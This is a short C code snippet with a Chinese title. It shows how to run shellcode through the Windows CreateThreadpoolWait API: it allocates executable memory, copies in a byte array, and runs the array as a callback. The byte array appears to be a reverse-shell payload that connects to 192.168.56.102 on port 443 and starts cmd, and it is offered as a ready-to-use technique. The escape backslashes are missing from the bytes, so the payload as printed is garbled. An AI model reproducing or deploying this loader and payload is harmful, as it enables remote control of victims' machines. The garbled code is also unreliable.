通过CreateThreadpoolWait执行Shellcode

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x01xbbxc0xa8x38x66x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}